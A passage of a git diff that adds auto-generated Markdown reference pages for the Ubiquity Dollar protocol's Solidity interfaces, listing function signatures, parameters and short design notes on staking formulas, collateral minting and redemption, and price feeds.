+|----|----|-----------| +|`_dollarTokenAddress`|`address`|Dollar token address| + + +### setGovernanceTokenAddress + +Sets Governance token address + + +```solidity +function setGovernanceTokenAddress(address _governanceTokenAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_governanceTokenAddress`|`address`|Governance token address| + + +### setSushiSwapPoolAddress + +Sets Sushi swap pool address (Dollar-Governance) + + +```solidity +function setSushiSwapPoolAddress(address _sushiSwapPoolAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_sushiSwapPoolAddress`|`address`|Pool address| + + +### setCreditCalculatorAddress + +Sets Credit calculator address + + +```solidity +function setCreditCalculatorAddress(address _creditCalculatorAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_creditCalculatorAddress`|`address`|Credit calculator address| + + +### setCreditNftCalculatorAddress + +Sets Credit NFT calculator address + + +```solidity +function setCreditNftCalculatorAddress(address _creditNftCalculatorAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_creditNftCalculatorAddress`|`address`|Credit NFT calculator address| + + +### setDollarMintCalculatorAddress + +Sets Dollar mint calculator address + + +```solidity +function setDollarMintCalculatorAddress(address _dollarMintCalculatorAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_dollarMintCalculatorAddress`|`address`|Dollar mint calculator address| + + +### setExcessDollarsDistributor + +Sets excess Dollars distributor address + + +```solidity +function setExcessDollarsDistributor(address creditNftManagerAddress, address dollarMintExcess) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`creditNftManagerAddress`|`address`|Credit NFT manager address| +|`dollarMintExcess`|`address`|Dollar distributor address| + + +### setMasterChefAddress + +Sets MasterChef address + + +```solidity +function setMasterChefAddress(address _masterChefAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_masterChefAddress`|`address`|MasterChef address| + + +### setFormulasAddress + +Sets formulas address + + +```solidity +function setFormulasAddress(address _formulasAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_formulasAddress`|`address`|Formulas address| + + +### setStakingShareAddress + +Sets staking share address + + +```solidity +function setStakingShareAddress(address _stakingShareAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stakingShareAddress`|`address`|Staking share address| + + +### setStableSwapMetaPoolAddress + +Sets Curve Dollar-3CRV MetaPool address + + +```solidity +function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stableSwapMetaPoolAddress`|`address`|Curve Dollar-3CRV MetaPool address| + + +### setStakingContractAddress + +Sets staking contract address + +*Staking contract participants deposit Curve LP tokens +for a certain duration to earn Governance tokens and more Curve LP tokens* + + +```solidity +function setStakingContractAddress(address _stakingContractAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stakingContractAddress`|`address`|Staking contract address| + + +### setTreasuryAddress + +Sets treasury address + +*Treasury fund is used to maintain the protocol* + + +```solidity +function setTreasuryAddress(address _treasuryAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_treasuryAddress`|`address`|Treasury address| + + +### deployStableSwapPool + +Deploys Curve MetaPool [Stablecoin, 3CRV LP] + +*From the curve documentation for uncollateralized algorithmic +stablecoins amplification should be 5-10* + + +```solidity +function deployStableSwapPool( + address _curveFactory, + address _crvBasePool, + address _crv3PoolTokenAddress, + uint256 _amplificationCoefficient, + uint256 _fee +) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_curveFactory`|`address`|Curve MetaPool factory address| +|`_crvBasePool`|`address`|Base pool address for MetaPool| +|`_crv3PoolTokenAddress`|`address`|Curve TriPool address| +|`_amplificationCoefficient`|`uint256`|Amplification coefficient. The smaller it is the closer to a constant product we are.| +|`_fee`|`uint256`|Trade fee, given as an integer with 1e10 precision| + + +### getExcessDollarsDistributor + +Returns excess dollars distributor address + + +```solidity +function getExcessDollarsDistributor(address _creditNftManagerAddress) external view returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_creditNftManagerAddress`|`address`|Credit NFT manager address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Excess dollars distributor address| + + +### stakingContractAddress + +Returns staking address + + +```solidity +function stakingContractAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Staking address| + + +### stakingShareAddress + +Returns staking share address + + +```solidity +function stakingShareAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Staking share address| + + +### stableSwapMetaPoolAddress + +Returns Curve MetaPool address for Dollar-3CRV LP pair + + +```solidity +function stableSwapMetaPoolAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Curve MetaPool address| + + +### dollarTokenAddress + +Returns Dollar token address + + +```solidity +function dollarTokenAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Dollar token address| + + +### governanceTokenAddress + +Returns Governance token address + + +```solidity +function governanceTokenAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Governance token address| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityDollarToken.sol/interface.IUbiquityDollarToken.md b/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityDollarToken.sol/interface.IUbiquityDollarToken.md new file mode 100644 index 000000000..2643f8762 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityDollarToken.sol/interface.IUbiquityDollarToken.md @@ -0,0 +1,64 @@ +# IUbiquityDollarToken +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IUbiquityDollarToken.sol) + +**Inherits:** +[IERC20Ubiquity](/src/dollar/interfaces/IERC20Ubiquity.sol/interface.IERC20Ubiquity.md) + +Ubiquity Dollar token interface + + +## Functions +### setIncentiveContract + +Sets `incentive` contract for `account` + +Incentive contracts are applied on Dollar transfers: +- EOA => contract +- contract => EOA +- contract => contract +- any transfer global incentive + + +```solidity +function setIncentiveContract(address account, address incentive) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address`|Account to incentivize| +|`incentive`|`address`|Incentive contract address| + + +### incentiveContract + +Returns incentive contract address for `account` + +*Address is 0 if there is no incentive contract for the account* + + +```solidity +function incentiveContract(address account) external view returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address`|Address for which we should retrieve an incentive contract| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Incentive contract address| + + +## Events +### IncentiveContractUpdate +Emitted on setting an incentive contract for an account + + +```solidity +event IncentiveContractUpdate(address indexed _incentivized, address indexed _incentiveContract); +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityFormulas.sol/interface.IUbiquityFormulas.md b/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityFormulas.sol/interface.IUbiquityFormulas.md new file mode 100644 index 000000000..aef29ae44 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityFormulas.sol/interface.IUbiquityFormulas.md @@ -0,0 +1,155 @@ +# IUbiquityFormulas +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IUbiquityFormulas.sol) + +Interface for staking formulas + + +## Functions +### durationMultiply + +Formula duration multiply + +`_shares = (1 + _multiplier * _weeks^3/2) * _uLP` + +`D32 = D^3/2` + +`S = m * D32 * A + A` + + +```solidity +function durationMultiply(uint256 _uLP, uint256 _weeks, uint256 _multiplier) external pure returns (uint256 _shares); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_uLP`|`uint256`|Amount of LP tokens| +|`_weeks`|`uint256`|Minimum duration of staking period| +|`_multiplier`|`uint256`|Staking discount multiplier = 0.0001| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`_shares`|`uint256`|Amount of shares| + + +### correctedAmountToWithdraw + +Formula to calculate the corrected amount to withdraw based on the proportion of +LP deposited against actual LP tokens in the staking contract + +`corrected_amount = amount * (stakingLpBalance / totalLpDeposited)` + +If there is more or the same amount of LP than deposited then do nothing + + +```solidity +function correctedAmountToWithdraw(uint256 _totalLpDeposited, uint256 _stakingLpBalance, uint256 _amount) + external + pure + returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_totalLpDeposited`|`uint256`|Total amount of LP deposited by users| +|`_stakingLpBalance`|`uint256`|Actual staking contract LP tokens balance minus LP rewards| +|`_amount`|`uint256`|Amount of LP tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of LP tokens to redeem| + + +### lpRewardsAddLiquidityNormalization + +Formula may add a decreasing rewards if locking end is near when adding liquidity + +`rewards = _amount` + + +```solidity +function lpRewardsAddLiquidityNormalization( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount +) external pure returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stake`|`StakingShare.Stake`|Stake info of staking share| +|`_shareInfo`|`uint256[2]`|Array of share amounts| +|`_amount`|`uint256`|Amount of LP tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of LP rewards| + + +### lpRewardsRemoveLiquidityNormalization + +Formula may add a decreasing rewards if locking end is near when removing liquidity + +`rewards = _amount` + + +```solidity +function lpRewardsRemoveLiquidityNormalization( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount +) external pure returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stake`|`StakingShare.Stake`|Stake info of staking share| +|`_shareInfo`|`uint256[2]`|Array of share amounts| +|`_amount`|`uint256`|Amount of LP tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of LP rewards| + + +### sharesForLP + +Formula of governance rights corresponding to a staking shares LP amount + +Used on removing liquidity from staking + +`shares = (stake.shares * _amount) / stake.lpAmount` + + +```solidity +function sharesForLP(StakingShare.Stake memory _stake, uint256[2] memory _shareInfo, uint256 _amount) + external + pure + returns (uint256 _uLP); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stake`|`StakingShare.Stake`|Stake info of staking share| +|`_shareInfo`|`uint256[2]`|Array of share amounts| +|`_amount`|`uint256`|Amount of LP tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`_uLP`|`uint256`|Amount of shares| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityGovernance.sol/interface.IUbiquityGovernanceToken.md b/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityGovernance.sol/interface.IUbiquityGovernanceToken.md new file mode 100644 index 000000000..dc7a47938 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityGovernance.sol/interface.IUbiquityGovernanceToken.md @@ -0,0 +1,9 @@ +# IUbiquityGovernanceToken +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IUbiquityGovernance.sol) + +**Inherits:** +[IERC20Ubiquity](/src/dollar/interfaces/IERC20Ubiquity.sol/interface.IERC20Ubiquity.md) + +Ubiquity Governance token interface + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityPool.sol/interface.IUbiquityPool.md b/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityPool.sol/interface.IUbiquityPool.md new file mode 100644 index 000000000..e5327b92f --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityPool.sol/interface.IUbiquityPool.md @@ -0,0 +1,637 @@ +# IUbiquityPool +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IUbiquityPool.sol) + +Ubiquity pool interface + +Allows users to: +- deposit collateral in exchange for Ubiquity Dollars +- redeem Ubiquity Dollars in exchange for the earlier provided collateral + + +## Functions +### allCollaterals + +Returns all collateral addresses + + +```solidity +function allCollaterals() external view returns (address[] memory); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address[]`|All collateral addresses| + + +### collateralInformation + +Returns collateral information + + +```solidity +function collateralInformation(address collateralAddress) + external + view + returns (LibUbiquityPool.CollateralInformation memory returnData); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAddress`|`address`|Address of the collateral token| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`returnData`|`LibUbiquityPool.CollateralInformation`|Collateral info| + + +### collateralRatio + +Returns current collateral ratio + + +```solidity +function collateralRatio() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Collateral ratio| + + +### collateralUsdBalance + +Returns USD value of all collateral tokens held in the pool, in E18 + + +```solidity +function collateralUsdBalance() external view returns (uint256 balanceTally); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`balanceTally`|`uint256`|USD value of all collateral tokens| + + +### ethUsdPriceFeedInformation + +Returns chainlink price feed information for ETH/USD pair + + +```solidity +function ethUsdPriceFeedInformation() external view returns (address, uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Price feed address and staleness threshold in seconds| +|``|`uint256`|| + + +### freeCollateralBalance + +Returns free collateral balance (i.e. that can be borrowed by AMO minters) + + +```solidity +function freeCollateralBalance(uint256 collateralIndex) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|collateral token index| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of free collateral| + + +### getDollarInCollateral + +Returns Dollar value in collateral tokens + + +```solidity +function getDollarInCollateral(uint256 collateralIndex, uint256 dollarAmount) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|collateral token index| +|`dollarAmount`|`uint256`|Amount of Dollars| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Value in collateral tokens| + + +### getDollarPriceUsd + +Returns Ubiquity Dollar token USD price (1e6 precision) from Curve Metapool (Ubiquity Dollar, Curve Tri-Pool LP) + + +```solidity +function getDollarPriceUsd() external view returns (uint256 dollarPriceUsd); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`dollarPriceUsd`|`uint256`|USD price of Ubiquity Dollar| + + +### getGovernancePriceUsd + +Returns Governance token price in USD (6 decimals precision) + +*How it works: +1. Fetch ETH/USD price from chainlink oracle +2. Fetch Governance/ETH price from Curve's oracle +3. Calculate Governance token price in USD* + + +```solidity +function getGovernancePriceUsd() external view returns (uint256 governancePriceUsd); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`governancePriceUsd`|`uint256`|Governance token price in USD| + + +### getRedeemCollateralBalance + +Returns user's balance available for redemption + + +```solidity +function getRedeemCollateralBalance(address userAddress, uint256 collateralIndex) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`userAddress`|`address`|User address| +|`collateralIndex`|`uint256`|Collateral token index| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|User's balance available for redemption| + + +### getRedeemGovernanceBalance + +Returns user's Governance tokens balance available for redemption + + +```solidity +function getRedeemGovernanceBalance(address userAddress) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`userAddress`|`address`|User address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|User's Governance tokens balance available for redemption| + + +### governanceEthPoolAddress + +Returns pool address for Governance/ETH pair + + +```solidity +function governanceEthPoolAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Pool address| + + +### stableUsdPriceFeedInformation + +Returns chainlink price feed information for stable/USD pair + +*Here stable coin refers to the 1st coin in the Curve's stable/Dollar plain pool* + + +```solidity +function stableUsdPriceFeedInformation() external view returns (address, uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Price feed address and staleness threshold in seconds| +|``|`uint256`|| + + +### mintDollar + +Mints Dollars in exchange for collateral tokens + + +```solidity +function mintDollar( + uint256 collateralIndex, + uint256 dollarAmount, + uint256 dollarOutMin, + uint256 maxCollateralIn, + uint256 maxGovernanceIn, + bool isOneToOne +) external returns (uint256 totalDollarMint, uint256 collateralNeeded, uint256 governanceNeeded); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| +|`dollarAmount`|`uint256`|Amount of dollars to mint| +|`dollarOutMin`|`uint256`|Min amount of dollars to mint (slippage protection)| +|`maxCollateralIn`|`uint256`|Max amount of collateral to send (slippage protection)| +|`maxGovernanceIn`|`uint256`|Max amount of Governance tokens to send (slippage protection)| +|`isOneToOne`|`bool`|Force providing only collateral without Governance tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`totalDollarMint`|`uint256`|Amount of Dollars minted| +|`collateralNeeded`|`uint256`|Amount of collateral sent to the pool| +|`governanceNeeded`|`uint256`|Amount of Governance tokens burnt from sender| + + +### redeemDollar + +Burns redeemable Ubiquity Dollars and sends back 1 USD of collateral token for every 1 Ubiquity Dollar burned + +*Redeem process is split in two steps:* + +*1. `redeemDollar()`* + +*2. `collectRedemption()`* + +*This is done in order to prevent someone using a flash loan of a collateral token to mint, redeem, and collect in a single transaction/block* + + +```solidity +function redeemDollar(uint256 collateralIndex, uint256 dollarAmount, uint256 governanceOutMin, uint256 collateralOutMin) + external + returns (uint256 collateralOut, uint256 governanceOut); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index being withdrawn| +|`dollarAmount`|`uint256`|Amount of Ubiquity Dollars being burned| +|`governanceOutMin`|`uint256`|Minimum amount of Governance tokens that'll be withdrawn, used to set acceptable slippage| +|`collateralOutMin`|`uint256`|Minimum amount of collateral tokens that'll be withdrawn, used to set acceptable slippage| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`collateralOut`|`uint256`|Amount of collateral tokens ready for redemption| +|`governanceOut`|`uint256`|| + + +### collectRedemption + +Used to collect collateral tokens after redeeming/burning Ubiquity Dollars + +*Redeem process is split in two steps:* + +*1. `redeemDollar()`* + +*2. `collectRedemption()`* + +*This is done in order to prevent someone using a flash loan of a collateral token to mint, redeem, and collect in a single transaction/block* + + +```solidity +function collectRedemption(uint256 collateralIndex) + external + returns (uint256 governanceAmount, uint256 collateralAmount); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index being collected| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`governanceAmount`|`uint256`|Amount of Governance tokens redeemed| +|`collateralAmount`|`uint256`|Amount of collateral tokens redeemed| + + +### updateChainLinkCollateralPrice + +Updates collateral token price in USD from ChainLink price feed + + +```solidity +function updateChainLinkCollateralPrice(uint256 collateralIndex) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| + + +### amoMinterBorrow + +Allows AMO minters to borrow collateral to make yield in external +protocols like Compound, Curve, erc... + +*Bypasses the gassy mint->redeem cycle for AMOs to borrow collateral* + + +```solidity +function amoMinterBorrow(uint256 collateralAmount) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAmount`|`uint256`|Amount of collateral to borrow| + + +### addAmoMinter + +Adds a new AMO minter + + +```solidity +function addAmoMinter(address amoMinterAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amoMinterAddress`|`address`|AMO minter address| + + +### addCollateralToken + +Adds a new collateral token + + +```solidity +function addCollateralToken(address collateralAddress, address chainLinkPriceFeedAddress, uint256 poolCeiling) + external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAddress`|`address`|Collateral token address| +|`chainLinkPriceFeedAddress`|`address`|Chainlink's price feed address| +|`poolCeiling`|`uint256`|Max amount of available tokens for collateral| + + +### removeAmoMinter + +Removes AMO minter + + +```solidity +function removeAmoMinter(address amoMinterAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amoMinterAddress`|`address`|AMO minter address to remove| + + +### setCollateralChainLinkPriceFeed + +Sets collateral ChainLink price feed params + + +```solidity +function setCollateralChainLinkPriceFeed( + address collateralAddress, + address chainLinkPriceFeedAddress, + uint256 stalenessThreshold +) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAddress`|`address`|Collateral token address| +|`chainLinkPriceFeedAddress`|`address`|ChainLink price feed address| +|`stalenessThreshold`|`uint256`|Threshold in seconds when chainlink answer should be considered stale| + + +### setCollateralRatio + +Sets collateral ratio + +*How much collateral/governance tokens user should provide/get to mint/redeem Dollar tokens, 1e6 precision* + +*Example (1_000_000 = 100%): +- Mint: user provides 1 collateral token to get 1 Dollar +- Redeem: user gets 1 collateral token for 1 Dollar* + +*Example (900_000 = 90%): +- Mint: user provides 0.9 collateral token and 0.1 Governance token to get 1 Dollar +- Redeem: user gets 0.9 collateral token and 0.1 Governance token for 1 Dollar* + + +```solidity +function setCollateralRatio(uint256 newCollateralRatio) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newCollateralRatio`|`uint256`|New collateral ratio| + + +### setEthUsdChainLinkPriceFeed + +Sets chainlink params for ETH/USD price feed + + +```solidity +function setEthUsdChainLinkPriceFeed(address newPriceFeedAddress, uint256 newStalenessThreshold) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newPriceFeedAddress`|`address`|New chainlink price feed address for ETH/USD pair| +|`newStalenessThreshold`|`uint256`|New threshold in seconds when chainlink's ETH/USD price feed answer should be considered stale| + + +### setFees + +Sets mint and redeem fees, 1_000_000 = 100% + + +```solidity +function setFees(uint256 collateralIndex, uint256 newMintFee, uint256 newRedeemFee) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| +|`newMintFee`|`uint256`|New mint fee| +|`newRedeemFee`|`uint256`|New redeem fee| + + +### setGovernanceEthPoolAddress + +Sets a new pool address for Governance/ETH pair + +*Based on Curve's CurveTwocryptoOptimized contract. Used for fetching Governance token USD price. +How it works: +1. Fetch Governance/ETH price from CurveTwocryptoOptimized's built-in oracle +2. Fetch ETH/USD price from chainlink feed +3. Calculate Governance token price in USD* + + +```solidity +function setGovernanceEthPoolAddress(address newGovernanceEthPoolAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newGovernanceEthPoolAddress`|`address`|New pool address for Governance/ETH pair| + + +### setPoolCeiling + +Sets max amount of collateral for a particular collateral token + + +```solidity +function setPoolCeiling(uint256 collateralIndex, uint256 newCeiling) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| +|`newCeiling`|`uint256`|Max amount of collateral| + + +### setPriceThresholds + +Sets mint and redeem price thresholds, 1_000_000 = $1.00 + + +```solidity +function setPriceThresholds(uint256 newMintPriceThreshold, uint256 newRedeemPriceThreshold) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newMintPriceThreshold`|`uint256`|New mint price threshold| +|`newRedeemPriceThreshold`|`uint256`|New redeem price threshold| + + +### setRedemptionDelayBlocks + +Sets a redemption delay in blocks + +*Redeeming is split in 2 actions:* + +*1. `redeemDollar()`* + +*2. `collectRedemption()`* + +*`newRedemptionDelayBlocks` sets number of blocks that should be mined after which user can call `collectRedemption()`* + + +```solidity +function setRedemptionDelayBlocks(uint256 newRedemptionDelayBlocks) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newRedemptionDelayBlocks`|`uint256`|Redemption delay in blocks| + + +### setStableUsdChainLinkPriceFeed + +Sets chainlink params for stable/USD price feed + +*Here stable coin refers to the 1st coin in the Curve's stable/Dollar plain pool* + + +```solidity +function setStableUsdChainLinkPriceFeed(address newPriceFeedAddress, uint256 newStalenessThreshold) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newPriceFeedAddress`|`address`|New chainlink price feed address for stable/USD pair| +|`newStalenessThreshold`|`uint256`|New threshold in seconds when chainlink's stable/USD price feed answer should be considered stale| + + +### toggleCollateral + +Toggles (i.e. enables/disables) a particular collateral token + + +```solidity +function toggleCollateral(uint256 collateralIndex) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| + + +### toggleMintRedeemBorrow + +Toggles pause for mint/redeem/borrow methods + + +```solidity +function toggleMintRedeemBorrow(uint256 collateralIndex, uint8 toggleIndex) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| +|`toggleIndex`|`uint8`|Method index. 0 - toggle mint pause, 1 - toggle redeem pause, 2 - toggle borrow by AMO pause| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/README.md b/packages/contracts/docs/src/src/dollar/interfaces/README.md new file mode 100644 index 000000000..07bf9c282 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/README.md @@ -0,0 +1,33 @@ + + +# Contents +- [utils](/src/dollar/interfaces/utils) +- [IAccessControl](IAccessControl.sol/interface.IAccessControl.md) +- [IBondingCurve](IBondingCurve.sol/interface.IBondingCurve.md) +- [ICreditNft](ICreditNft.sol/interface.ICreditNft.md) +- [ICreditNftManager](ICreditNftManager.sol/interface.ICreditNftManager.md) +- [ICreditNftRedemptionCalculator](ICreditNftRedemptionCalculator.sol/interface.ICreditNftRedemptionCalculator.md) +- [ICreditRedemptionCalculator](ICreditRedemptionCalculator.sol/interface.ICreditRedemptionCalculator.md) +- [ICurveFactory](ICurveFactory.sol/interface.ICurveFactory.md) +- [ICurveStableSwapFactoryNG](ICurveStableSwapFactoryNG.sol/interface.ICurveStableSwapFactoryNG.md) +- [ICurveStableSwapMetaNG](ICurveStableSwapMetaNG.sol/interface.ICurveStableSwapMetaNG.md) +- [ICurveStableSwapNG](ICurveStableSwapNG.sol/interface.ICurveStableSwapNG.md) +- [ICurveTwocryptoOptimized](ICurveTwocryptoOptimized.sol/interface.ICurveTwocryptoOptimized.md) +- [IDepositZap](IDepositZap.sol/interface.IDepositZap.md) +- [IDiamondCut](IDiamondCut.sol/interface.IDiamondCut.md) +- [IDiamondLoupe](IDiamondLoupe.sol/interface.IDiamondLoupe.md) +- [IDollarAmoMinter](IDollarAmoMinter.sol/interface.IDollarAmoMinter.md) +- [IDollarMintCalculator](IDollarMintCalculator.sol/interface.IDollarMintCalculator.md) +- [IDollarMintExcess](IDollarMintExcess.sol/interface.IDollarMintExcess.md) +- [IERC1155Ubiquity](IERC1155Ubiquity.sol/interface.IERC1155Ubiquity.md) +- [IERC173](IERC173.sol/interface.IERC173.md) +- [IERC20Ubiquity](IERC20Ubiquity.sol/interface.IERC20Ubiquity.md) +- [IStableSwap3Pool](IStableSwap3Pool.sol/interface.IStableSwap3Pool.md) +- [IStaking](IStaking.sol/interface.IStaking.md) +- [IStakingShare](IStakingShare.sol/interface.IStakingShare.md) +- [IUbiquityChef](IUbiquityChef.sol/interface.IUbiquityChef.md) +- [IUbiquityDollarManager](IUbiquityDollarManager.sol/interface.IUbiquityDollarManager.md) +- [IUbiquityDollarToken](IUbiquityDollarToken.sol/interface.IUbiquityDollarToken.md) +- [IUbiquityFormulas](IUbiquityFormulas.sol/interface.IUbiquityFormulas.md) +- [IUbiquityGovernanceToken](IUbiquityGovernance.sol/interface.IUbiquityGovernanceToken.md) +- [IUbiquityPool](IUbiquityPool.sol/interface.IUbiquityPool.md) diff --git a/packages/contracts/docs/src/src/dollar/interfaces/utils/ICollectableDust.sol/interface.ICollectableDust.md b/packages/contracts/docs/src/src/dollar/interfaces/utils/ICollectableDust.sol/interface.ICollectableDust.md new file mode 100644 index 000000000..f22e7413f --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/utils/ICollectableDust.sol/interface.ICollectableDust.md @@ -0,0 +1,79 @@ +# ICollectableDust +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/utils/ICollectableDust.sol) + +Interface for collecting dust (i.e. not part of a protocol) tokens sent to a contract + + +## Functions +### addProtocolToken + +Adds token address to a protocol + + +```solidity +function addProtocolToken(address _token) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_token`|`address`|Token address to add| + + +### removeProtocolToken + +Removes token address from a protocol + + +```solidity +function removeProtocolToken(address _token) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_token`|`address`|Token address to remove| + + +### sendDust + +Sends dust tokens (which are not part of a protocol) to the `_to` address + + +```solidity +function sendDust(address _to, address _token, uint256 _amount) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_to`|`address`|Tokens receiver address| +|`_token`|`address`|Token address to send| +|`_amount`|`uint256`|Amount of tokens to send| + + +## Events +### DustSent +Emitted when dust tokens are sent to the `_to` address + + +```solidity +event DustSent(address _to, address token, uint256 amount); +``` + +### ProtocolTokenAdded 